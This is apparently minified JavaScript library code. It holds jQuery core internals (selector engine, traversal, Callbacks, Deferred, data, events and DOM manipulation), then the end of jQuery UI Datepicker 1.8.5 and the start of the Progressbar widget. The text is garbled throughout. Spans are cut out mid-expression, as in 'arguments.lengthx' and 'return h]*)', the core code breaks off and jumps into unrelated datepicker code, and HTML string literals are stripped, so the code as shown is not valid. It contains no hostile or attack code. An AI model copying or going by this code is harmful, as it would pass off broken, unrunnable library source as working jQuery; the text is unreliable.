H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("': +"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var k=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),j='
    ',o="";if(h||!k)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(j+=o+(h||!(k&&l)?" ":""));if(h||!l)j+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b, +i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(j+='"}j+=this._get(a,"yearSuffix");if(u)j+=(h||!(k&&l)?" ":"")+o;j+="
    ";return j},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b)); +return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new L;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.5";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,c){b.widget("ui.progressbar",{options:{value:0},min:0,max:100,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":this._value()});this.valueDiv=b("
